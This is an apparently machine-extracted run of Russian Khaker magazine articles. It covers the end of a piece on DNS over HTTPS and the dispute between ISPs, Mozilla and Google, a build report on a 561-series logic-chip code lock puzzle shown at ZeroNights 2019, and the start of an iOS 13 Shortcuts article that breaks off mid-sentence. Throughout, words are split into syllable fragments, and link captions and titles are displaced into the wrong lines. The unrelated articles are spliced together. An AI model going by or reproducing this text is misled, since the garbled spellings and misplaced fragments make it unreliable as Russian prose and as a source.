DoH устро ен ина че и по‐дру гому исполь зует TLS. В DoH TLS‐шиф рование
при меня ется  на  уров не  про токо ла  HTTPS,  с  исполь зовани ем  HTTPS‐зап‐ 
росов и обра щени ем к HTTP‐пор там DNS‐сер вера.

Зву чит  слож новато?    рас ска зыва ет  об  этом  очень  точ но
и доход чиво:

Ян  Шауман

Пос коль ку  HTTPS  исполь зует  TLS,  мож но  было  бы  позанудс тво вать
и  подока зывать,  что  тех ничес ки  DoH  —  это  тоже  DNS  через  TLS.
Но это было бы невер но. DoT отправ ляет зап росы базово го про токо ла
DNS  через  TLS-соеди нение  на  отдель ном  выделен ном  пор те.  DoH
исполь зует  про токол  HTTP  на  уров не  про токо ла  прик ладно го  уров ня
(HTTP application layer protocol), что бы отправ лять зап росы на HTTPS-
порт сер вера, исполь зуя и вклю чая все эле мен ты обыч ных сооб щений
HTTP.

DoH: DNS‐сооб щения завер нуты в HTTPS

ОДИМ ДО СУТИDOH
Здесь  резон но  задать ся  воп росом:  а  в  чем  вооб ще  тут  может  быть  проб‐ 
лема? Чем боль ше безопас ности, тем луч ше, раз ве не так?

От вет  на  этот  воп рос  лежит  в  нюан сах  выб ранных  решений,  их  силь ных
и  сла бых  сто ронах.  А  имен но  в  том,  как  новая  тех нология  вза имо дей ству ет
с раз ными учас тни ками сис темы DNS,  кого из них ее раз работ чики счи тают
условно  зас лужива ющи ми  доверия,  а  кого  —  источни ками  угро зы.  И  речь
сей час  даже  не  о  хакерах‐зло умыш ленни ках,  име ющих  откро вен но  прес‐ 
тупные цели.

Речь о том, что меж ду поль зователь ским устрой ством и конеч ным сай том
находят ся  пос редни ки.  Адми нис тра тор  сети,  фай рвол,  про вай дер  интерне‐ 
та — все они могут  в  сво их инте ресах вза имо дей ство вать с сис темой DNS,
задавая сво им резол верам имен DNS нас трой ки того, какие зап росы отсле‐ 
живать, бло киро вать, модифи циро вать. Так мож но встра ивать рек ламу, отсе‐ 
кать вре донос ный кон тент, не пус кать на опре делен ные ресур сы...

Путь зап роса от кли ента до сер вера может про ходить через мно жес тво
резол веров

DoT, работая через TLS с его сис темой сер тифика тов доверия, точ но так же
нуж дает ся  в  DNS‐резол вере,  которо му  он  смо жет  доверять.  При сутс тву ет
гиб кая воз можность нас трой ки спис ка доверен ных резол веров, воз можность
цен тра лизо ван ного изме нения нас тро ек в пред варитель но доверен ной (нап‐ 
ример, кор поратив ной) сре де, а так же воз можность перек лючать ся обратно
на базовый DNS, если с новой вер сией воз никнут проб лемы.

Пос коль ку  для  DoT  исполь зует ся  новый,  выделен ный  порт,  воз можно
заметить переда ваемый тра фик и наб людать за его объ ема ми, шиф рование
это му никак не помеша ет. При желании мож но даже заб локиро вать его вов‐ 
се.

В общем, DoT нуж но гра мот но нас тро ить, но зато он содер жит некото рые
край не полез ные для сис темных адми нис тра торов и сетевых инже неров фун‐ 
кции. Поэто му мно гие из про фес сиона лов и хва лят за это DoT.

С  DoH  исто рия  дру гая.  Эта  тех нология  раз рабаты валась  с  рас четом
на  поль зователь ские  при ложе ния,  а  имен но  —  бра узе ры.  Это  клю чевая
деталь во всей этой исто рии. Озна чает она вот что. При исполь зовании DoH
весь  тра фик,  который  не  отно сит ся  к  бра узе рам,  идет  через  базовый DNS,
но бра узер ный тра фик при этом обхо дит любые нас трой ки DNS — на уров не
опе раци онной сис темы, локаль ной сети, про вай дера — и, минуя про межу точ‐ 
ные  эта пы,  по  HTTPS  попада ет  сра зу  к  под держи вающе му  DoH  резол веру
DNS.

И к этой схе ме есть ряд серь езных воп росов.

КОВАРНЫЕ ЗЛОДЕИ И ТЕОРИИ ЗАГОВОРА
Вот  мы  и  доб рались  до  рас ска за  о  том,  кто    Mozilla
в  «интернет‐зло деи  года».  Это  бри тан ская  Ассо циация  интернет‐про вай‐ 
деров и бри тан ский же  . Эти орга низа ции отве‐ 
чают за бло киров ку нежела тель ного кон тента для бри тан ских поль зовате лей
интерне та. В основном они борют ся с дет ской пор ногра фией, но пиратс тво,
экс тре мизм и вся кий дру гой кри минал их тоже инте ресу ет. А еще одно вре мя
они  пытались  зап ретить  бри тан ским  поль зовате лям  интерне та  BDSM‐пор‐ 
ногра фию, но потер пели неуда чу.

но мини ровал

Фонд над зора за интерне том

Так вот, эти орга низа ции полага ют, что внед рение DoH сущес твен но сузит
их  воз можнос ти  кон тро лиро вать  дос туп  к  кон тенту.  Их  опа сения  раз деля ют
не  толь ко  про вай деры  в  дру гих  стра нах,  но  и  про фес сиона лы  в  области
кибер безопас ности,  которые  отме чают,  что  с  такими  же  проб лемами  стол‐ 
кнут ся раз работ чики фай рво лов и сис тем монито рин га DNS. А от это го пос‐ 
тра дает  защита  кор поратив ных  сетей,  и  у  сот рудни ков  появят ся  новые  воз‐ 
можнос ти заг рузить вирус по фишин говой ссыл ке. Мало того, уже есть 

, как зло умыш ленни ки зло упот ребля ют воз можнос тями DoH.
при‐ 

меры
В  Аме рике Google  и Mozilla  из‐за  DoH  всту пили  с  про вай дерами  в  юри‐ 

дичес кую вой ну. Сна чала про вай деры обра тились  к  кон грес су США с пись‐ 
мен ной прось бой обра тить вни мание на воз можные пос ледс твия внед рения
DoH. Менед жеры Google тут же пос пешили   всех, что опас ности пре‐ 
уве личе ны. А вот пред ста вите ли Mozilla сами обра тились к кон грес су с прось‐ 
бой изу чить прак тику сбо ра поль зователь ских дан ных про вай дерами, откры то
намекая, что про вай деры отста ивают свои спе цифи чес кие инте ресы.

за верить

Но  с  биз нес‐инте реса ми  про вай деров  все  понят но.  А  каковы  инте ресы
сто рон ников ско рей шего внед рения DoH? Почему сот рудни ки Google и Mozil‐
la  вся чес ки  уве ряют,  что это все пока  толь ко экспе римент, и  что если поль‐ 
зовате лей  Великоб ритании  необ ходимо  защищать  от  пор ногра фии,  то  их
в экспе римент не вклю чат, и что они все го лишь хотят ско рее даровать поль‐ 
зовате лям (в том чис ле — жителям стран с авто ритар ными мерами кон тро ля
интерне та) боль ше при ват ности и безопас ности?

Не кото рые спе циалис ты полага ют, что дело в резол верах DNS с под дер‐ 
жкой DoH. И в Google, и в Mozilla утвер жда ют, что их бра узе ры будут исполь‐ 
зовать целый спи сок таких резол веров, но на прак тике — у Google есть свой
собс твен ный  DNS‐сер вер,  а Mozilla  раз рабаты вает  свое  решение  в  тес ном
сот рудни чес тве с ком пани ей Cloudflare. Та тоже пре дос тавля ет собс твен ный
DNS.

Ес ли вдо бавок к это му вспом нить, что Chrome сей час самый популяр ный
бра узер, то вырисо выва ется не слиш ком при ятная кар тинка. В рас пре делен‐ 
ной  и  децен тра лизо ван ной  сис теме  DNS  в  одно часье  появит ся  огромный
сег мент,  под кон троль ный  Google,  и  сег мент  помень ше,  при над лежащий
Cloudflare.  Ничего  лич ного,  ува жаемые  про вай деры,  прос то  биз нес.  Были
дан ные ваши, а ста ли наши!

До ля бра узе ров на рын ке. С огромным отры вом лидиру ет Chrome,
за ним — Safari, все осталь ные далеко позади

Mozilla в сво ем   утвер жда ет, что DNS‐резол вер Cloud‐
flare  был  выб ран  не  потому,  что  Cloudflare  пла тит  за  это  день ги.  Mozilla
и Cloudflare яко бы никак не намере ны монети зиро вать дан ные, про ходя щие
через  их  сер веры,  и  заин тересо ваны  толь ко  в  борь бе  за  при ват ность
и безопас ность исполь зования интерне та.

FAQ по внед рению DoH

Что  ж,  по  мер кам  кор пораций  Cloudflare  хотя  бы  нем ного 
на  искрен него  союз ника  в  этой  борь бе  —  ком пания  мно го  раз  заяв ляла
о  сво ей  при вер женнос ти  цен ностям  сво боды  интерне та,  сетевой  ней траль‐ 
нос ти и сво боды сло ва, и в ее слу чае такие заяв ления работа ют на ее имидж
важ ного игро ка на бур но рас тущем и раз вива ющем ся рын ке циф ровой при‐ 
ват ности  и  безопас ности.  А  вот  с  Google  дело  выг лядит  куда  более  подоз‐ 
ритель но.

по хожа

WARNING

От дель но  и  осо бо  напоми наем:  никакая  тех‐ 
нология сама по себе не может обес печить тебе
абсо лют ную безопас ность  в Сети. В  этой  статье
речь  идет  толь ко  о  безопас ности DNS. Безопас‐ 
ность  дру гих  про токо лов  и  сце нари ев  исполь‐ 
зования  интерне та  ник то  не  отме няет!  Худ ший
враг безопас ности — уве рен ность, что ты сде лал
дос таточ но.

Google  стре митель но  дви жет ся  к  тому,  что бы  монопо лизи ровать  клю чевые
для  интерне та  сер висы,  а  некото рые  уже монопо лизи рова ны.  И  кро ме  эко‐ 
номи чес ких  и  полити чес ких  аспектов,  тут  есть  и  чис то  тех ничес кие. Отсутс‐ 
твие  цен тра лиза ции  заложе но  в  про токо лы  интерне та  умыш ленно  —  ведь
сов ремен ный  интернет  вырос  из  аме рикан ской  воен ной  раз работ ки,  одной
из целей которой было сох ранение свя зи меж ду ее учас тни ками пос ле атом‐ 
ных уда ров. Если какая‐то катас тро фа физичес ки унич тожит часть дата‐цен‐ 
тров, сер веров или линий свя зи, интернет дол жен это пережить.

Но  если  нес коль ко  ком паний  нач нут  экс клю зив но  пре дос тавлять  важ ные
фун кции,  то  что  будет,  нап ример,  в  слу чае  бан кротс тва  одной  из  них?  Это,
конеч но, все чис то философ ские воп росы, но обду мать их сто ит. Нап ример,
сот рудни ки 
(APNIC) полага ют, что внед рение DoH — повод для 
сте пени  цен тра лиза ции  сис темы  DNS,  и  намере ны  вни матель но  сле дить
за про цес сом.

Ази атско‐тихо океан ско го  сетево го  информа цион ного  цен тра
серь езных иссле дова ний

ВЫВОДЫ
Под ведем  ито ги.  И  нач нем  с  того,  что  мож но  утвер ждать  с  пол ной  уве рен‐ 
ностью.

Тех нология DoH  осложнит  жизнь  всем  тем,  кто  хочет  или  вынуж ден  наб‐ 
людать  за  DNS‐тра фиком  поль зовате лей.  В  их  чис ле  —  про вай деры,  сис‐ 
темные адми нис тра торы, раз работ чики и опе рато ры фай рво лов и филь тров
кон тента, пра витель ствен ные агентства по над зору за интерне том.

Нас коль ко силь но DoH осложнит им жизнь? Ник то не может ска зать  точ‐ 
но — все зависит от  тем пов внед рения и про рабо тан ности тех нологи чес ких
решений.

Нуж на ли эта тех нология интерне ту? Слож ный воп рос. Экспер ты сог лаша‐ 
ются, что улуч шать безопас ность DNS необ ходимо, но не сог лаша ются о том,
как имен но, — и мно го сок руша ются, что раз работ ка новых решений ведет ся
излишне пос пешно,   с тру дом и в ито ге   тех ничес‐ 
кое устрой ство до такой сте пени, что в нем ста новит ся не разоб рать ся даже
про фес сиона лам.

внед ряет ся пе реус ложня ет

Ну жен ли DoH лич но тебе? Как и во мно гих дру гих слу чаях, воп рос ско рее
в том, какая угро за тебе кажет ся более при ори тет ной. Если это про вай деры,
которые дела ют что‐то, что тебе не по душе, или филь тры кон тента, о которых
ты  не  про сил  (нап ример,  пра витель ствен ные),  —  то,  воз можно,  тебе  при‐ 
годит ся еще один инс тру мент. Если тебя боль ше бес поко ят зло умыш ленни ки
или тебе нуж но сле дить, что бы какие‐то поль зовате ли не ходили, куда не сле‐ 
дует, —  сто ит  при цель но  изу чить,  как  эта  тех нология  будет  вза имо дей ство‐ 
вать с тво ими задача ми.

«А  зачем вооб ще мне вся эта ерун да,  у меня есть  хороший прок си и Tor
в  качес тве  запас ного  вари анта?»  —  спро сишь  ты.  Если  так,  то  тебе  все
это  дей стви тель но  не  нуж но.  Но  не  нуж но  —  не  зна чит  неин терес но.
К счастью или сожале нию, в интерне те ком панию нам сос тавля ют мил лиар ды
обыч ных  поль зовате лей‐нес пеци алис тов,  оби тате лей  кор поратив ных  сетей,
мол чаливых и незамет ных устрой ств сетевой инфраструк туры и мод ных пред‐ 
ста вите лей «интерне та вещей». И на них все опи сан ное в статье может серь‐ 
езно пов лиять. А как имен но и с какими пос ледс тви ями — ник то пока не зна‐ 
ет.

И  напос ледок:  спе циалис ты Mozilla  утвер жда ют,  что  в  некото рых  слу чаях
исполь зование  DoH  сущес твен но  уско ряет  обра бот ку  DNS‐зап росов.  Если
они  ока жут ся  пра вы,  то  из  «интернет‐зло дея  года»  прев ратят ся
в «интернет‐супер геро ев». И, как говорит ся в исто риях про геро ев и зло деев,
про дол жение сле дует.
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ТРЮКИ

12  и  13  нояб ря  в  Санкт‐Петер бурге  про ходи ла  еже год ная
меж дународ ная  кон ферен ция  по  прак тичес кой  информа‐ 
цион ной  безопас ности  ZeroNights  2019.  Жур нал  «Хакер»
учас тво вал  в  мероп риятии  в  качес тве  информа цион ного
пар тне ра, а на нашем стен де, помимо сти керов и ски доч ных
купонов  на  под писку,  мож но  было  най ти  занят ную  вещь —
элек трон ный  кодовый  замок.  Рас крыть  его  пред лагалось
при  помощи  муль тимет ра,  поз наний  в  элек тро тех нике
или прос то сме кал ки.

В августе это го года я уже успел побывать на Chaos Constructions (он, кста ти,
тоже про водит ся в Питере) и обра тил вни мание на то, какой популяр ностью
поль зует ся спор тивный лок пикинг — взлом зам ков с помощью отмы чек и под‐ 
ручных средств.

Стенд «Хакера» на ZeroNights

Дон ские казаки взла мыва ют кодовый замок

Ме ня это, как ни стран но, оста вило рав нодуш ным, но идея была инте рес ная,
и я решил поп робовать ее твор чески пере осмыслить. Хотя и тут я не был пер‐ 
вопро ход цем:  если  кто‐то  читал  учеб ник  Хар риса  и  Хар рис  «

»,  то  там  одна  из  задач  была  на  реверс  схе мы  циф рового  зам ка.
Тре бова лось вос ста новить по схе ме работу конеч ного авто мата и диаг рамму
его внут ренних сос тояний и узнать код дос тупа.

Циф ровая  схе‐ 
мотех ника

Что получи лось в ито ге

Од нако в таком виде схе ма не годилась для реали зации «в железе»: во‐пер‐ 
вых, авто ры исхо дили из того, что исполь зуют ся «иде аль ные» кноп ки без дре‐ 
без га  кон тактов;  во‐вто рых,  так тирова ние  для  схе мы  было  чис то  внеш ним.
Таким  обра зом,  нажатие  на  кноп ку  и  так товый  сиг нал  были  асин хрон ными
по  отно шению  друг  к  дру гу,  и  поль зовате лю,  если  бы  он  попытал ся  ввес ти
код,  пот ребова лось  бы  под гадывать  свои  дей ствия  под  обновле ние  сос‐ 
тояния в сис теме.

Ра зуме ется, подоб ное вза имо дей ствие для реаль ного устрой ства слож но
наз вать естес твен ным и инту итив ным, поэто му схе ма нуж далась в доработ ке.
Но само нап равле ние мне показа лось вер ным, и я решил дви гать ся даль ше.
Пер вые наив ные попыт ки  накидать  схе му  на  ско рую руку  выяви ли основную
проб лему: внеш ним источни ком так тирова ния мог быть толь ко поль зователь‐ 
ский ввод (нажатие на кноп ку). Но оно же было и информа цион ным сиг налом
в схе ме! Таким обра зом, попыт ка зах ватить в какой‐нибудь триг гер сос тояние
вход ного сиг нала (по фрон ту или спа ду) неиз бежно порож дала неоп ределен‐ 
ность.

INFO

Тут  сле дует  сде лать  неболь шое  отступ ление
и  заранее  пре дуп редить,  что  я  не  про фес‐ 
сиональ ный раз работ чик циф ровых схем. Осно вы
циф ровой схе мотех ники я знаю ров но нас толь ко,
что бы понимать,  из  чего  сос тоят и  как работа ют
прос тей шие компь ютер ные бло ки: регис тры, АЛУ,
память и про чее. Ничего сверх слож ного я никог‐ 
да  не  реали зовы вал,  и,  как  дол жен  работать
подоб ный  циф ровой  замок,  я  тог да  понимал
для  себя  толь ко  приб лизитель но,  в  теории.
Поэто му  моя  схе ма  может  быть  неоп тималь ной
и даже излишне запутан ной.

Тог да  я  решил  под робнее  озна комить ся  с  воп росом  и  полез  в  интернет
искать  похожие  при меры.  Пер вые  же  ссыл ки  в  Яндексе  помог ли  про яснить
нес коль ко вещей: во‐пер вых, такие схе мы есть; во‐вто рых, поч ти все они мне
не пон равились. Сей час поп робую объ яснить почему. Я не буду  здесь при‐ 
водить  ссыл ки  на  кон крет ные  работы,  что бы  не  оби жать  авто ров.
При желании все мож но лег ко най ти самос тоятель но.

Так вот, как выяс нилось, часть схем не пред полага ла сбро са при невер ной
ком бинации  —  это  облегча ло  под бор.  Дру гая  часть  не  поз воляла  исполь‐ 
зовать  одну  и  ту же  циф ру боль ше одно го  раза  в  пароле — это  сок ращало
прос транс тво вари антов (при десяти циф рах и четырех знач ном чис ле получа‐ 
ется 5040 ком бинаций вмес то 10 000!). Наконец, авто ры некото рых при меров
мешали  в  одну  кучу  циф ровую и  ана лого вую  схе мотех нику,  что мне  вооб ще
не пон равилось.

По это му  я  понял,  что  при дет ся  раз рабаты вать  схе му  прак тичес ки  с  нуля.
Ну  что  же,  тем  инте рес нее!  Хотя  сро ки  под жимали.  Как  обыч но,  решение
об инте рак тиве для стен да при няли в пос ледний момент и ито говый резуль‐ 
тат нужен был пусть и не «еще вче ра», но через две недели или око ло того.
И это с уче том изго тов ления плат! В общем, приш лось под нажать.

Я  решил  оста новить ся  на  561‐й  серии  мик росхем,  прос то  потому,  что
неболь шое их количес тво у меня оста валось с пре дыду щих про ектов. Кро ме
того,  у  них  широкий  диапа зон  вход ных  нап ряжений —  мож но  исполь зовать
хоть батарей ки АА, хоть «Кро ну». К тому же «Интеграл» выпус кает их мас сово,
их  лег ко  дос тать  и  боль шинс тво  все  еще  дос тупно  в  DIP‐кор пусах.
Это облегча ет реверс схе мы — все‐таки про ект дела ется пре иму щес твен но
для раз вле чения.

Ну  и  на  самом  деле  —  мне  вооб ще  нра вят ся  ста рые  кор пуса  для  мик‐ 
росхем.  В  них  чувс тву ется  какая‐то  монумен таль ность,  клас сицизм,  что  ли.
Широкие  DIP‐40  для  мик ропро цес соров  и  мик рокон трол леров,  PLCC‐
44 для парал лель ной памяти и PLCC‐84 для мик росхем CPLD. Я решил,  что
сти лис тика рет ро про екту не пов редит, тем более что DIP в цан говых панель‐ 
ках (а я собирал ся исполь зовать имен но такие в конеч ном вари анте) выг лядят
прос то пот рясно, тут вряд ли у кого будут воз ражения.

Пер вым делом нуж но было решить проб лему с дре без гом. На стра нич ке
«Википе дии»  при веде на  схе ма  подав ления  дре без га  кноп ки  с  перекид ным
кон тактом  на  двух  вен тилях  2И‐НЕ.  Это му  соот ветс тву ет  мик росхе ма
К561ЛА7, и пер воначаль но я исполь зовал ее. У нее  четыре логичес ких  вен‐ 
тиля, и это озна чало, что на каж дый кор пус я смо гу завес ти сиг нал с двух кно‐ 
пок. Не ска зать, конеч но, что это мно го…

Мне нуж но было десять кно пок для десяти цифр плюс кноп ка сбро са. Один‐ 
надцать  в  акку рат ную  мат рицу  не  рас кла дыва лись  (сюр приз!),  поэто му  я
решил  уве личить их  количес тво до две над цати. А  это  уже целых шесть мик‐ 
росхем.  Как‐то  рас точитель но.  Тог да  я  про лис тал  спи сок  мик росхем
«Интегра ла»  еще  раз  и  обна ружил  под ходящую  деталь  —  К561ТР2.
Это четыре RS‐триг гера в одном кор пусе, а они как раз собира ются из пары
вен тилей И‐НЕ. Ура, беру их!

Сле дующий  шаг  —  соб рать  счет чик.  Схе му  нуж но  при нуди тель но  сбра‐ 
сывать,  если  поль зователь  не  ввел  пра виль ный  код  за  раз решен ное  чис ло
попыток,  а  это  зна чит,  что  при дет ся  счи тать  нажатия.  Для  это го  тре бует ся
логичес кий эле мент 10ИЛИ, но в готовой мик росхе ме их не сущес тву ет. Тог да
я  исполь зовал  обе  половин ки ИС  К561ЛЕ6  (4ИЛИ‐НЕ),  допол нитель но  вен‐ 
тиль  от  ИС  К561ЛЕ5  (2ИЛИ‐НЕ)  и  объ еди нил  их  с  помощью  ИС  К561ЛА9
(3И‐НЕ).

Ес ли  вспом нить  пра вила  де  Мор гана,  то  инвертор  с  выхода  эле мен та
ЛА9 мож но перемес тить на его вхо ды, при этом И поменя ется на ИЛИ, а сами
инверто ры  вза имно  анни гили руют  с  НЕ  на  выходах  ИЛИ‐НЕ.  Получа‐ 
ется 10ИЛИ — как раз то, что нуж но. Кро ме того, я допол нитель но инверти‐ 
ровал  выход ной  сиг нал,  что бы  получить  сброс  по  отжа тию  кноп ки —  ког да
поль зователь завер шил ввод.

Сам по себе счет чик стан дар тный и сос тоит из трех D‐триг геров на мик‐ 
росхе мах  К561ТМ2. Биты  его  сос тояния будут  слу жить  для  инди кации  прог‐ 
ресса  и  для  при нуди тель ного  сбро са  (ниж няя  часть  вто рого  лис та  схе мы).
Здесь же впер вые появ ляет ся сиг нал от обще го сбро са, в котором учас тву ет
и сиг нал от кноп ки сбро са.

На конец,  цен траль ная  часть  устрой ства,  которая,  собс твен но,  и  слу жит
для  хра нения пра виль ной пос ледова тель нос ти. Я  спе циаль но не  стал  здесь
вво дить  допол нитель ное  шиф рование  сос тояний  конеч ного  авто мата.  Да,
это поз волило бы сок ратить количес тво исполь зуемых D‐триг геров, но отри‐ 
цатель но  ска залось  бы  на  лег кости  вос при ятия  схе мы.  Напом ню,  основное
наз начение — это не что бы «ник то не решил», а что бы боль шинс тво посети‐ 
телей  смог ло  поучас тво вать  и  получить  свою  пор цию  удо воль ствия. Все же
основные спе циали зации у посети телей ZN — это веб, мобиль ные при ложе‐ 
ния и про чие далекие от железа вещи.

Итак,  для  кода  исполь зует ся  пять  зна чащих  цифр  и  пять  D‐триг геров.
Изна чаль но  я  пла ниро вал  все го  четыре  циф ры  и  десять  тысяч  ком бинаций,
но от схе мы счет чика остался один «лиш ний» бит, поэто му я решил добавить
его  сюда,  в  пос ледова тель ность  пароля.  По  сути,  это  «плюс  90  тысяч  ком‐ 
бинаций за те же день ги!». Хороший мар кетин говый ход, навер ное. :)

Здесь  клю чевую  роль  игра ет  трех вхо довый  эле мент  И‐НЕ,  который  раз‐ 
реша ет подачу так тового сиг нала на соот ветс тву ющий триг гер тог да и толь ко
тог да,  ког да  пре дыду щий  бит  уже  защел кнул ся,  а  текущий  еще  в  сос тоянии
нуля (логичес кая еди ница на инвер сном выходе). Таким обра зом, наб ранные
в  пра виль ном  поряд ке  пять  цифр  пароля  при водят  к  высоко му  уров ню
на выход ном сиг нале ENABLE.

Этот выход, в свою оче редь, соеди нен с мик росхе мой‐тай мером КР1006ВИ1
(ана лог  популяр ной  ИС  NE555).  Она  нас тро ена  с  помощью  RC‐цепоч ки
на час тоту в 10 Гц и отве чает за прос тень кую ани мацию на све тоди одах типа
«бегущий ого нек» (вто рич но исполь зуют ся све тоди оды на шка ле прог ресса).
Я  не  буду  под робно  оста нав ливать ся  на  схе ме  ани мации,  смыс ловой  наг‐ 
рузки  для  основных  задач  про екта  она  не  несет,  раз ве  что  допол нитель но
прив лека ет вни мание, пока работа ет.

Ска жу  лишь,  что  здесь  исполь зует ся  еще  один  счет чик  —  мик росхе ма
К561ИЕ8  (десятич ный  счет чик‐делитель) —  биты CLK0 — CLK2  и  эле мен ты
исклю чающе го ИЛИ (К561ЛП2) для управле ния све тоди ода ми D6 — D15. Все
вмес те они обра зуют сво его рода дешиф ратор,  который поз воля ет исполь‐ 
зовать единс твен ную шка лу как для инди кации прог ресса, так и для ани мации
(два режима работы).

С  мик росхе мой‐тай мером  ВИ1  свя зана  одна  любопыт ная  деталь.  Фор‐ 
маль но она не отно сит ся к 561‐й серии, и ее рабочий диапа зон нап ряжений
начина ется от 5 В (про тив трех у всех осталь ных мик росхем на пла те). Экспе‐ 
римен таль ным путем было выяс нено, что тай мер запус кает ся и от 3,5 В, хотя
за точ ность и  харак терис тики выход ного сиг нала в  таком режиме я не руча‐ 
юсь (не изме рял).

На  самом  деле  в  качес тве  генера тора  так тового  сиг нала  для  ани мации
мож но было вмес те с RC‐цепоч кой исполь зовать и триг гер Шмид та из 561‐й
серии — К561ТЛ1. Но я узнал об этом уже слиш ком поз дно, ког да пла та была
поч ти  готова.  Если  кому  инте рес но,  рекомен дую  почитать  кни гу  «

».  В  ней  на  при мере  мик росхе мы
К561ТЛ1  демонс три руют ся  самые  раз ные  спо собы  при мене ния.  Ито говое
устрой ство  мог ло  бы  быть  соб рано  на  мик росхе мах  одной  серии  и  иметь
боль ший рабочий диапа зон. Обя затель но учту на будущее.

Про екты
и  экспе римен ты  с  КМОП  мик росхе мами

Что бы убе дить ся в работос пособ ности схе мы, я пред варитель но соб рал все
на бес паеч ной макет ке. Парал лель но раз водкой пла ты занял ся мой хороший
зна комый —  .  И  тут  нуж но  ска зать,  что,  нес мотря  на  мою
корявую  прин ципи аль ную  схе му  и  нев нятное  (на  сло вах)  ТЗ  и  опи сание,  он
спра вил ся  с  задачей  в  рекор дные  сро ки —  бук валь но  за  пару  дней.  Более
того, пла та у него ока залась даже гораз до мень ше, чем я изна чаль но пред‐ 
полагал.

Алек сандр  Бурага

Ка залось бы, это не очень боль шой плюс, но мне пред сто яло раз мещать
на про изводс тве сверх сроч ный заказ, сто имость которо го зависит в том чис‐ 
ле  от  раз меров.  Китай  отпа дал  сра зу  же,  свя зывать ся  даже  с  курь ерской
служ бой  не  хотелось.  Зеленог рад ский  «Резонит»  тоже  не  под ходил,  там
минималь ный срок сос тавлял око ло недели. К счастью, в том же Зеленог раде
наш лась  фир ма  «ТеП ро»,  она  бра лась  изго товить  нес коль ко  экзем пля ров
этой двус лой ки с шел когра фией и метал лизаци ей все го за 36 часов!

Кста ти,  со  сро ками  в  «ТеП ро»  погоря чились,  и  все  рав но  пот ребова‐ 
лось  48  часов  от  под твержде ния  опла ты  до  момен та,  ког да  я  получил  в  их
офи се  завет ные  кус ки  тек сто лита.  Но  я  был  рад  и  такому  резуль тату!  Хотя
от  ито говой  цены  до  сих  пор  нем ного  в  дрожь  бро сает,  хорошо  хоть  не  из
сво его кар мана. :)

Даль ше  —  поиск  и  покуп ка  ком плек тующих  (в  основном  брал  в  «Чипе
и Дипе», но часть приш лось искать и на Митин ском ради орын ке). Не обош‐ 
лось  без  огор чений:  изна чаль но  я  пред полагал  исполь зовать  суровые
«совет ские»  све тоди оды  АЛ102  с  метал личес ким  цоколем  (для  анту ражу,
и  вооб ще,  это  же  рет ро!).  Зна комый меня  отго вари вал,  мотиви руя  тем,  что
они  сла бо  све тят.  Дей стви тель но,  харак терис тики  на  стра нич ке  товара
не впе чат ляли: все го 0,15 мКд про тив стан дар тных 30–40 мКд у дру гих све‐ 
тоди одов того же цве та и раз мера.

Но я все‐таки решил ся поп робовать и заказал нес коль ко штук. Увы, меня
жда ло разоча рова ние: не знаю, где в «Чипе и Дипе» хра нили эти ком понен ты,
но  у 80% из  куп ленных мной све тоди одов не  толь ко необ ратимо помут нела
лин за, но и обра зовал ся какой‐то жел тый налет. В общем, если им и пред сто‐ 
яло ког да‐то све тить, то явно уже не в этой жиз ни.

В осталь ном никаких труд ностей не воз никло. Пару раз я запа ивал детали
не  той  сто роной,  в  схе ме  нашел ся  мой  косячок  в  так тирова нии  счет чика,
который  приш лось  исправ лять  переру бани ем  дорожек  и  допол нитель ными
перемыч ками, — в общем, все дос таточ но стан дар тно. Но в ито ге если я и не
остался доволен соб ранным резуль татом,  то, по край ней мере, мне за него
не стыд но.

На пос ледок  пару  слов  о  том,  какие  под сказ ки  были  дос тупны  учас тни кам.
Во‐пер вых,  выход  с  каж дого  D‐триг гера  для  пароля  допол нитель но  ухо дил
на  све тоди оды  груп пы D1 — D5.  В  теории  это  сво дило  задач ку  к  прос тому
перебо ру,  и  некото рые  при  отсутс твии  дру гих  идей  или  желания  возить ся
при бега ли к нему. Это не баг, это фича! Во‐вто рых, кноп ка с пер вой циф рой
пароля  допол нитель но  мар кирова лась  на  шел когра фии  неболь шим  логоти‐ 
пом жур нала. Его, воп реки моим ожи дани ям, замети ли толь ко еди ницы.

Кро ме того, на стен де в нес коль ких экзем пля рах были лис ты с прин ципи аль‐ 
ной  схе мой  пла ты  и  допол нитель но  муль тиметр  (для  проз вонки,  замыка ния
кон тактов и про чего). Все го задача пред полага ла три вари анта решения: изу‐ 
чить  схе му  и  най ти  код,  изу чить  схе му  и  най ти  бэк дор  и  баналь но  подать
высокий  уро вень  на  раз реша ющий  кон такт  ENABLE.  Допол нитель но  за  два
дня  кон ферен ции  обна ружи лись  и  нес тандар тные  спо собы,  в  том  чис ле
методы  соци аль ной  инже нерии: мы,  чес тно  приз нать ся,  не  стес нялись  под‐ 
ска зывать тем, кто ока зывал ся в тупике.
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Под робнее о прин ципах работы циф рового зам ка
читай в статье «

».

Ос новы циф ровой схе мотех ники.
Как  логичес кие  эле мен ты  обра зуют  биты  памяти
в тво ем компь юте ре

mailto:fabulous.faberge@yandex.ru
https://www.ozon.ru/context/detail/id/141754676/
https://www.ozon.ru/context/detail/id/148913397/
https://xakep.ru/author/sadkotheguest/
https://xakep.ru/2019/10/25/triggers/#toc04.
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ТРЮКИ

Пос ле  успешно го  обновле ния  моего  iPhone  до  iOS  13  я
обра тил  вни мание  на  новый  зна чок,  появив ший ся  на  глав‐ 
ном  экра не  телефо на,  —  при ложе ния  «Коман ды».  Иссле‐ 
дова тель ский дух  не  поз волил мне прой ти мимо это го  уди‐ 
витель ного явле ния, не изу чив воз можнос ти соф тины. Сре ди
них  ока залось  нес коль ко  весь ма  инте рес ных  и  полез ных
фун кций, о которых я тебе сей час и рас ска жу.

До релиза  iOS 13 прог рамма рас простра нялась  в App Store  под наз вани ем
«Быс трые коман ды», но в новой вер сии ОС она вош ла в базовый набор при‐ 
ложе ний.  На  сай те  Apple фун кци ональ ность  «Команд»  опи сана  весь ма  рас‐ 
плыв чато  и  туман но:  дес кать,  прог рамма  поз воля ет  соз давать  «пер сонали‐ 
зиро ван ные  шаб лоны  авто мати зации,  которые  помогут  вам  выпол нять  пов‐ 
седнев ные  дей ствия  про ще  и  быс трее».  Не  знаю,  кто  обу чил  копирай теров
из Купер тино изла гать свои мыс ли подоб ным обра зом, но сда ется мне,  что
в дан ном кон крет ном слу чае крат кость в родс твен ных отно шени ях с талан том
явно не сос тоит.

ВОЗМОЖНОСТИ
На самом деле прог рамма «Коман ды» уме ет объ еди нять нес коль ко прос тых
дей ствий поль зовате ля в одно. Нап ример, если ты каж дое утро узна ешь тем‐ 
перату ру  окру жающей  сре ды  за  окном,  вклю чаешь  на  мобиль ном  любимый
